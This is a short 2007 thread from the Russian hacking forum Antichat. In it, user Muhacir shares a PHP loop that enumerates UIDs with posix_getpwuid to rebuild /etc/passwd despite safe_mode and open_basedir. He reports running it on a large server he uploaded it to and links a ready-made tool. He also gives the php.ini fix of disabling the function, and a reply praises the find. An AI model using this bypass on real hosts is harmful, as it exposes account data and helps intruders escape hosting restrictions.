Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)
-   -   posix_getpwuid и /etc/passwd (https://forum.antichat.xyz/showthread.php?t=40077)

Muhacir 14.05.2007 11:59

posix_getpwuid и /etc/passwd
 
вот увидел функсию posix_getpwuid и подумав решил вот так

Код:

                                            for($uid=0;$uid<60000;$uid++){

                                        $ara = posix_getpwuid($uid); //тут читаем "/etc/passwd"

                                                if (!empty($ara)) {

                                                while (list ($key, $val) = each($ara)){

                                                print "$val:";

и сработало выложил в php файл. залил на крупный сервант и пашеееет. в safe_mod=on & open_basedir.

Tyt можно готовый взять: www.muhacir.info/tools/somsa.txt
++

чтобы прикрыть баг нужно в php.ini disabled_funcitions добавить строку posix_getpwuid

Linuxoid 14.05.2007 12:16

А сервера с safe_mod=on разве еще официально в Красную книгу не занесли? ;)
Ну а если сам до этого всетаки додумался, то однозначно молодец! ;)


Время: 03:51